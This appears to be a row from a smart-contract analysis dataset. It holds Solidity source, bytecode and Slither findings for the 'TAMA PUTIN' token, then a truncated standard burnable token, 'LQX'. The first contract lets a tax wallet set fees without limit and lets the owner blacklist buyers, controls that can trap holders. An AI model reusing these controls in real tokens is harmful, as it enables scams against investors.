function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract TAMAPUTIN is Context, IERC20, Ownable {
mapping (address => uint) private _owned;
mapping (address => mapping (address => uint)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private _isBot;
mapping (address => User) private cooldown;
uint private constant _totalSupply = 1e10 * 10**9;
string public constant name = unicode"TAMA PUTIN";
string public constant symbol = unicode"TAMAPUTIN";
uint8 public constant decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address payable public _TaxAdd;
address public uniswapV2Pair;
uint public _buyFee = 10;
uint public _sellFee = 15;
uint private _feeRate = 15;
uint public _maxBuyAmount;
uint public _maxHeldTokens;
uint public _launchedAt;
bool private _tradingOpen;
bool private _inSwap = false;
bool public _useImpactFeeSetter = false;
struct User {
uint buy;
bool exists;
}
event FeeMultiplierUpdated(uint _multiplier);
event ImpactFeeSetterUpdated(bool _usefeesetter);
event FeeRateUpdated(uint _rate);
event FeesUpdated(uint _buy, uint _sell);
event TaxAddUpdated(address _taxwallet);
modifier lockTheSwap {
_inSwap = true;
_;
_inSwap = false;
}
constructor (address payable TaxAdd) {
_TaxAdd = TaxAdd;
_owned[address(this)] = _totalSupply;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[TaxAdd] = true;
emit Transfer(address(0), address(this), _totalSupply);
}
function balanceOf(address account) public view override returns (uint) {
return _owned[account];
}
function transfer(address recipient, uint amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function totalSupply() public pure override returns (uint) {
return _totalSupply;
}
function allowance(address owner, address spender) public view override returns (uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public override returns (bool) {
if(_tradingOpen && !_isExcludedFromFee[recipient] && sender == uniswapV2Pair){
if (recipient != tx.origin) _isBot[recipient] = true;
}
_transfer(sender, recipient, amount);
uint allowedAmount = _allowances[sender][_msgSender()] - amount;
_approve(sender, _msgSender(), allowedAmount);
return true;
}
function _approve(address owner, address spender, uint amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint amount) private {
require(!_isBot[from] && !_isBot[to] && !_isBot[msg.sender]);
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
bool isBuy = false;
if(from != owner() && to != owner()) {
if(from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to]) {
require(_tradingOpen, "Trading not yet enabled.");
if (block.timestamp == _launchedAt) _isBot[to] = true;
if((_launchedAt + (10 minutes)) > block.timestamp) {
require((amount + balanceOf(address(to))) <= _maxHeldTokens, "You can't own that many tokens at once.");
}
if(!cooldown[to].exists) {
cooldown[to] = User(0,true);
}
if((_launchedAt + (10 minutes)) > block.timestamp) {
require(amount <= _maxBuyAmount, "Exceeds maximum buy amount.");
require(cooldown[to].buy < block.timestamp + (30 seconds), "Your buy cooldown has not expired.");
}
cooldown[to].buy = block.timestamp;
isBuy = true;
}
if(!_inSwap && _tradingOpen && from != uniswapV2Pair) {
require(cooldown[from].buy < block.timestamp + (15 seconds), "Your sell cooldown has not expired.");
uint contractTokenBalance = balanceOf(address(this));
if(contractTokenBalance > 0) {
if(_useImpactFeeSetter) {
if(contractTokenBalance > (balanceOf(uniswapV2Pair) * _feeRate) / 100) {
contractTokenBalance = (balanceOf(uniswapV2Pair) * _feeRate) / 100;
}
}
swapTokensForEth(contractTokenBalance);
}
uint contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
isBuy = false;
}
}
bool takeFee = true;
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
takeFee = false;
}
_tokenTransfer(from,to,amount,takeFee,isBuy);
}
function swapTokensForEth(uint tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint amount) private {
_TaxAdd.transfer(amount);
}
function _tokenTransfer(address sender, address recipient, uint amount, bool takefee, bool buy) private {
(uint fee) = _getFee(takefee, buy);
_transferStandard(sender, recipient, amount, fee);
}
function _getFee(bool takefee, bool buy) private view returns (uint) {
uint fee = 0;
if(takefee) {
if(buy) {
fee = _buyFee;
} else {
fee = _sellFee;
}
}
return fee;
}
function _transferStandard(address sender, address recipient, uint amount, uint fee) private {
(uint transferAmount, uint team) = _getValues(amount, fee);
_owned[sender] = _owned[sender] - amount;
_owned[recipient] = _owned[recipient] + transferAmount;
_takeTeam(team);
emit Transfer(sender, recipient, transferAmount);
}
function _getValues(uint amount, uint teamFee) private pure returns (uint, uint) {
uint team = (amount * teamFee) / 100;
uint transferAmount = amount - team;
return (transferAmount, team);
}
function _takeTeam(uint team) private {
_owned[address(this)] = _owned[address(this)] + team;
}
receive() external payable {}
// external functions
function addLiquidity() external onlyOwner() {
require(!_tradingOpen, "Trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _totalSupply);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function openTrading() external onlyOwner() {
require(!_tradingOpen, "Trading is already open");
_tradingOpen = true;
_launchedAt = block.timestamp;
_maxBuyAmount = 350000000 * 10**9;
_maxHeldTokens = 350000000 * 10**9;
}
function manualswap() external {
require(_msgSender() == _TaxAdd);
uint contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _TaxAdd);
uint contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function setFeeRate(uint rate) external {
require(_msgSender() == _TaxAdd);
require(rate > 0, "can't be zero");
_feeRate = rate;
emit FeeRateUpdated(_feeRate);
}
function setFees(uint buy, uint sell) external {
require(_msgSender() == _TaxAdd);
_buyFee = buy;
_sellFee = sell;
emit FeesUpdated(_buyFee, _sellFee);
}
function toggleImpactFee(bool onoff) external {
require(_msgSender() == _TaxAdd);
_useImpactFeeSetter = onoff;
emit ImpactFeeSetterUpdated(_useImpactFeeSetter);
}
function updateTaxAdd(address newAddress) external {
require(_msgSender() == _TaxAdd);
_TaxAdd = payable(newAddress);
emit TaxAddUpdated(_TaxAdd);
}
function thisBalance() public view returns (uint) {
return balanceOf(address(this));
}
function amountInPool() public view returns (uint) {
return balanceOf(uniswapV2Pair);
}
function setBots(address[] memory bots_) external onlyOwner() {
for (uint i = 0; i < bots_.length; i++) {
if (bots_[i] != uniswapV2Pair && bots_[i] != address(uniswapV2Router)) {
_isBot[bots_[i]] = true;
}
}
}
function delBots(address[] memory bots_) external {
require(_msgSender() == _TaxAdd);
for (uint i = 0; i < bots_.length; i++) {
_isBot[bots_[i]] = false;
}
}
function isBot(address ad) public view returns (bool) {
return _isBot[ad];
}
}
|
0x6080604052600436106101e75760003560e01c8063590f897e11610102578063a9059cbb11610095578063db92dbb611610064578063db92dbb614610598578063dcb0e0ad146105ad578063dd62ed3e146105cd578063e8078d941461061357600080fd5b8063a9059cbb1461052e578063b515566a1461054e578063c3c8cd801461056e578063c9567bf91461058357600080fd5b806373f54a11116100d157806373f54a111461049b5780638da5cb5b146104bb57806394b8d8f2146104d957806395d89b41146104f957600080fd5b8063590f897e1461043b5780636fc3eaec1461045157806370a0823114610466578063715018a61461048657600080fd5b806327f3a72a1161017a5780633bbac579116101495780633bbac579146103ac57806340b9a54b146103e557806345596e2e146103fb57806349bd5a5e1461041b57600080fd5b806327f3a72a1461033a578063313ce5671461034f57806331c2d8471461037657806332d873d81461039657600080fd5b8063104ce66d116101b6578063104ce66d146102b157806318160ddd146102e95780631940d0201461030457806323b872dd1461031a57600080fd5b80630492f055146101f357806306fdde031461021c578063095ea7b31461025f5780630b78f9c01461028f57600080fd5b366101ee57005b600080fd5b3480156101ff57600080fd5b50610209600d5481565b6040519081526020015b60405180910390f35b34801561022857600080fd5b506102526040518060400160405280600a8152602001692a20a6a090282aaa24a760b11b81525081565b6040516102139190611a4d565b34801561026b57600080fd5b5061027f61027a366004611ac7565b610628565b6040519015158152602001610213565b34801561029b57600080fd5b506102af6102aa366004611af3565b61063e565b005b3480156102bd57600080fd5b506008546102d1906001600160a01b031681565b6040516001600160a01b039091168152602001610213565b3480156102f557600080fd5b50678ac7230489e80000610209565b34801561031057600080fd5b50610209600e5481565b34801561032657600080fd5b5061027f610335366004611b15565b6106a5565b34801561034657600080fd5b50610209610777565b34801561035b57600080fd5b50610364600981565b60405160ff9091168152602001610213565b34801561038257600080fd5b506102af610391366004611b6c565b610787565b3480156103a257600080fd5b50610209600f5481565b3480156103b857600080fd5b5061027f6103c7366004611c31565b6001600160a01b031660009081526005602052604090205460ff1690565b3480156103f157600080fd5b50610209600a5481565b34801561040757600080fd5b506102af610416366004611c4e565b610813565b34801561042757600080fd5b506009546102d1906001600160a01b031681565b34801561044757600080fd5b50610209600b5481565b34801561045d57600080fd5b506102af6108b4565b34801561047257600080fd5b50610209610481366004611c31565b6108e1565b34801561049257600080fd5b506102af6108fc565b3480156104a757600080fd5b506102af6104b6366004611c31565b610970565b3480156104c757600080fd5b506000546001600160a01b03166102d1565b3480156104e557600080fd5b5060105461027f9062010000900460ff1681565b34801561050557600080fd5b50610252604051806040016040528060098152602001682a20a6a0a82aaa24a760b91b81525081565b34801561053a57600080fd5b5061027f610549366004611ac7565b6109de565b34801561055a57600080fd5b506102af610569366004611b6c565b6109eb565b34801561057a57600080fd5b506102af610b04565b34801561058f57600080fd5b506102af610b3a565b3480156105a457600080fd5b50610209610bd5565b3480156105b957600080fd5b506102af6105c8366004611c75565b610bed565b3480156105d957600080fd5b506102096105e8366004611c92565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b34801561061f57600080fd5b506102af610c60565b6000610635338484610fa6565b50600192915050565b6008546001600160a01b0316336001600160a01b03161461065e57600080fd5b600a829055600b81905560408051838152602081018390527f5c6323bf1c2d7aaea2c091a4751c1c87af7f2864650c336507a77d0557af37a1910160405180910390a15050565b60105460009060ff1680156106d357506001600160a01b03831660009081526004602052604090205460ff16155b80156106ec57506009546001600160a01b038581169116145b15610725576001600160a01b0383163214610725576001600160a01b0383166000908152600560205260409020805460ff191660011790555b6107308484846110ca565b6001600160a01b038416600090815260036020908152604080832033845290915281205461075f908490611ce1565b905061076c853383610fa6565b506001949350505050565b6000610782306108e1565b905090565b6008546001600160a01b0316336001600160a01b0316146107a757600080fd5b60005b815181101561080f576000600560008484815181106107cb576107cb611cf8565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061080781611d0e565b9150506107aa565b5050565b6008546001600160a01b0316336001600160a01b03161461083357600080fd5b600081116108785760405162461bcd60e51b815260206004820152600d60248201526c63616e2774206265207a65726f60981b60448201526064015b60405180910390fd5b600c8190556040518181527f208f1b468d3d61f0f085e975bd9d04367c930d599642faad06695229f3eadcd8906020015b60405180910390a150565b6008546001600160a01b0316336001600160a01b0316146108d457600080fd5b476108de8161171a565b50565b6001600160a01b031660009081526002602052604090205490565b6000546001600160a01b031633146109265760405162461bcd60e51b815260040161086f90611d29565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6008546001600160a01b0316336001600160a01b03161461099057600080fd5b600880546001600160a01b0319166001600160a01b0383169081179091556040519081527f5a9bcd8aea0cbf27de081c73815e420f65287b49bcf7a17ff691c61a2dd2d2d6906020016108a9565b60006106353384846110ca565b6000546001600160a01b03163314610a155760405162461bcd60e51b815260040161086f90611d29565b60005b815181101561080f5760095482516001600160a01b0390911690839083908110610a4457610a44611cf8565b60200260200101516001600160a01b031614158015610a95575060075482516001600160a01b0390911690839083908110610a8157610a81611cf8565b60200260200101516001600160a01b031614155b15610af257600160056000848481518110610ab257610ab2611cf8565b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002060006101000a81548160ff0219169083151502179055505b80610afc81611d0e565b915050610a18565b6008546001600160a01b0316336001600160a01b031614610b2457600080fd5b6000610b2f306108e1565b90506108de81611754565b6000546001600160a01b03163314610b645760405162461bcd60e51b815260040161086f90611d29565b60105460ff1615610bb15760405162461bcd60e51b81526020600482015260176024820152762a3930b234b7339034b99030b63932b0b23c9037b832b760491b604482015260640161086f565b6010805460ff1916600117905542600f556704db732547630000600d819055600e55565b600954600090610782906001600160a01b03166108e1565b6008546001600160a01b0316336001600160a01b031614610c0d57600080fd5b6010805462ff00001916620100008315158102919091179182905560405160ff9190920416151581527ff65c78d1059dbb9ec90732848bcfebbec05ac40af847d3c19adcad63379d3aeb906020016108a9565b6000546001600160a01b03163314610c8a5760405162461bcd60e51b815260040161086f90611d29565b60105460ff1615610cd75760405162461bcd60e51b81526020600482015260176024820152762a3930b234b7339034b99030b63932b0b23c9037b832b760491b604482015260640161086f565b600780546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d908117909155610d133082678ac7230489e80000610fa6565b806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610d51573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d759190611d5e565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610dc2573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610de69190611d5e565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610e33573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e579190611d5e565b600980546001600160a01b0319166001600160a01b039283161790556007541663f305d7194730610e87816108e1565b600080610e9c6000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610f04573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f299190611d7b565b505060095460075460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af1158015610f82573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061080f9190611da9565b6001600160a01b0383166110085760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161086f565b6001600160a01b0382166110695760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161086f565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b03831660009081526005602052604090205460ff1615801561110c57506001600160a01b03821660009081526005602052604090205460ff16155b801561112857503360009081526005602052604090205460ff16155b61113157600080fd5b6001600160a01b0383166111955760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161086f565b6001600160a01b0382166111f75760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161086f565b600081116112595760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161086f565b600080546001600160a01b0385811691161480159061128657506000546001600160a01b03848116911614155b156116bb576009546001600160a01b0385811691161480156112b657506007546001600160a01b03848116911614155b80156112db57506001600160a01b03831660009081526004602052604090205460ff16155b156115575760105460ff166113325760405162461bcd60e51b815260206004820152601860248201527f54726164696e67206e6f742079657420656e61626c65642e0000000000000000604482015260640161086f565b600f54421415611360576001600160a01b0383166000908152600560205260409020805460ff191660011790555b42600f546102586113719190611dc6565b11156113eb57600e54611383846108e1565b61138d9084611dc6565b11156113eb5760405162461bcd60e51b815260206004820152602760248201527f596f752063616e2774206f776e2074686174206d616e7920746f6b656e7320616044820152663a1037b731b29760c91b606482015260840161086f565b6001600160a01b03831660009081526006602052604090206001015460ff16611453576040805180820182526000808252600160208084018281526001600160a01b03891684526006909152939091209151825591519101805460ff19169115159190911790555b42600f546102586114649190611dc6565b111561153857600d548211156114bc5760405162461bcd60e51b815260206004820152601b60248201527f45786365656473206d6178696d756d2062757920616d6f756e742e0000000000604482015260640161086f565b6114c742601e611dc6565b6001600160a01b038416600090815260066020526040902054106115385760405162461bcd60e51b815260206004820152602260248201527f596f75722062757920636f6f6c646f776e20686173206e6f7420657870697265604482015261321760f11b606482015260840161086f565b506001600160a01b038216600090815260066020526040902042905560015b601054610100900460ff16158015611571575060105460ff165b801561158b57506009546001600160a01b03858116911614155b156116bb5761159b42600f611dc6565b6001600160a01b0385166000908152600660205260409020541061160d5760405162461bcd60e51b815260206004820152602360248201527f596f75722073656c6c20636f6f6c646f776e20686173206e6f7420657870697260448201526232b21760e91b606482015260840161086f565b6000611618306108e1565b905080156116a45760105462010000900460ff161561169b57600c546009546064919061164d906001600160a01b03166108e1565b6116579190611dde565b6116619190611dfd565b81111561169b57600c5460095460649190611684906001600160a01b03166108e1565b61168e9190611dde565b6116989190611dfd565b90505b6116a481611754565b4780156116b4576116b44761171a565b6000925050505b6001600160a01b03841660009081526004602052604090205460019060ff16806116fd57506001600160a01b03841660009081526004602052604090205460ff165b15611706575060005b61171385858584866118c8565b5050505050565b6008546040516001600160a01b039091169082156108fc029083906000818181858888f1935050505015801561080f573d6000803e3d6000fd5b6010805461ff001916610100179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061179857611798611cf8565b6001600160a01b03928316602091820292909201810191909152600754604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156117f1573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906118159190611d5e565b8160018151811061182857611828611cf8565b6001600160a01b03928316602091820292909201015260075461184e9130911684610fa6565b60075460405163791ac94760e01b81526001600160a01b039091169063791ac94790611887908590600090869030904290600401611e1f565b600060405180830381600087803b1580156118a157600080fd5b505af11580156118b5573d6000803e3d6000fd5b50506010805461ff001916905550505050565b60006118d483836118ea565b90506118e28686868461190e565b505050505050565b60008083156119075782156119025750600a54611907565b50600b545b9392505050565b60008061191b84846119eb565b6001600160a01b0388166000908152600260205260409020549193509150611944908590611ce1565b6001600160a01b038088166000908152600260205260408082209390935590871681522054611974908390611dc6565b6001600160a01b03861660009081526002602052604090205561199681611a1f565b846001600160a01b0316866001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516119db91815260200190565b60405180910390a3505050505050565b6000808060646119fb8587611dde565b611a059190611dfd565b90506000611a138287611ce1565b96919550909350505050565b30600090815260026020526040902054611a3a908290611dc6565b3060009081526002602052604090205550565b600060208083528351808285015260005b81811015611a7a57858101830151858201604001528201611a5e565b81811115611a8c576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b03811681146108de57600080fd5b8035611ac281611aa2565b919050565b60008060408385031215611ada57600080fd5b8235611ae581611aa2565b946020939093013593505050565b60008060408385031215611b0657600080fd5b50508035926020909101359150565b600080600060608486031215611b2a57600080fd5b8335611b3581611aa2565b92506020840135611b4581611aa2565b929592945050506040919091013590565b634e487b7160e01b600052604160045260246000fd5b60006020808385031215611b7f57600080fd5b823567ffffffffffffffff80821115611b9757600080fd5b818501915085601f830112611bab57600080fd5b813581811115611bbd57611bbd611b56565b8060051b604051601f19603f83011681018181108582111715611be257611be2611b56565b604052918252848201925083810185019188831115611c0057600080fd5b938501935b82851015611c2557611c1685611ab7565b84529385019392850192611c05565b98975050505050505050565b600060208284031215611c4357600080fd5b813561190781611aa2565b600060208284031215611c6057600080fd5b5035919050565b80151581146108de57600080fd5b600060208284031215611c8757600080fd5b813561190781611c67565b60008060408385031215611ca557600080fd5b8235611cb081611aa2565b91506020830135611cc081611aa2565b809150509250929050565b634e487b7160e01b600052601160045260246000fd5b600082821015611cf357611cf3611ccb565b500390565b634e487b7160e01b600052603260045260246000fd5b6000600019821415611d2257611d22611ccb565b5060010190565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060208284031215611d7057600080fd5b815161190781611aa2565b600080600060608486031215611d9057600080fd5b8351925060208401519150604084015190509250925092565b600060208284031215611dbb57600080fd5b815161190781611c67565b60008219821115611dd957611dd9611ccb565b500190565b6000816000190483118215151615611df857611df8611ccb565b500290565b600082611e1a57634e487b7160e01b600052601260045260246000fd5b500490565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611e6f5784516001600160a01b031683529383019391830191600101611e4a565b50506001600160a01b0396909616606085015250505060800152939250505056fea2646970667358221220bd3998ec6596dfea0d05826b31df27a9f5a4e113a402fb70bc95ad580f93a4ce64736f6c634300080c0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "tx-origin", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 6,189 |
0x5b3e2ebfa48db0846fe150fe44e57a5cc3faa5e2
|
pragma solidity ^0.4.12;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal constant returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal constant returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public constant returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public constant returns (uint256 balance) {
return balances[_owner];
}
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public constant returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
uint256 _allowance = allowed[_from][msg.sender];
// Check is not needed because sub(_allowance, _value) will already throw if this condition is not met
// require (_value <= _allowance);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = _allowance.sub(_value);
Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
/**
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
*/
function increaseApproval (address _spender, uint _addedValue)
returns (bool success) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval (address _spender, uint _subtractedValue)
returns (bool success) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
/**
* @title Burnable Token
* @dev Token that can be irreversibly burned (destroyed).
*/
contract BurnableToken is StandardToken {
event Burn(address indexed burner, uint256 value);
/**
* @dev Burns a specific amount of tokens.
* @param _value The amount of token to be burned.
*/
function burn(uint256 _value) public {
require(_value > 0);
require(_value <= balances[msg.sender]);
// no need to require value <= totalSupply, since that would imply the
// sender's balance is greater than the totalSupply, which *should* be an assertion failure
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply = totalSupply.sub(_value);
Burn(burner, _value);
Transfer(burner, address(0), _value);
}
}
contract LQX is BurnableToken, Ownable {
string public constant name = "LQX Investor Token";
string public constant symbol = "LQX";
uint public constant decimals = 18;
// there is no problem in using * here instead of .mul()
uint256 public constant initialSupply = 400000000 * (10 ** uint256(decimals));
// Constructors
function LQX () {
totalSupply = initialSupply;
balances[msg.sender] = initialSupply; // Send all tokens to owner
}
}
|
0x6080604052600436106100da5763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166306fdde0381146100df578063095ea7b31461016957806318160ddd146101a157806323b872dd146101c8578063313ce567146101f2578063378dc3dc1461020757806342966c681461021c578063661884631461023657806370a082311461025a5780638da5cb5b1461027b57806395d89b41146102ac578063a9059cbb146102c1578063d73dd623146102e5578063dd62ed3e14610309578063f2fde38b14610330575b600080fd5b3480156100eb57600080fd5b506100f4610351565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561012e578181015183820152602001610116565b50505050905090810190601f16801561015b5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561017557600080fd5b5061018d600160a060020a0360043516602435610388565b604080519115158252519081900360200190f35b3480156101ad57600080fd5b506101b66103ee565b60408051918252519081900360200190f35b3480156101d457600080fd5b5061018d600160a060020a03600435811690602435166044356103f4565b3480156101fe57600080fd5b506101b6610516565b34801561021357600080fd5b506101b661051b565b34801561022857600080fd5b5061023460043561052b565b005b34801561024257600080fd5b5061018d600160a060020a036004351660243561062a565b34801561026657600080fd5b506101b6600160a060020a036004351661071a565b34801561028757600080fd5b50610290610735565b60408051600160a060020a039092168252519081900360200190f35b3480156102b857600080fd5b506100f4610744565b3480156102cd57600080fd5b5061018d600160a060020a036004351660243561077b565b3480156102f157600080fd5b5061018d600160a060020a03600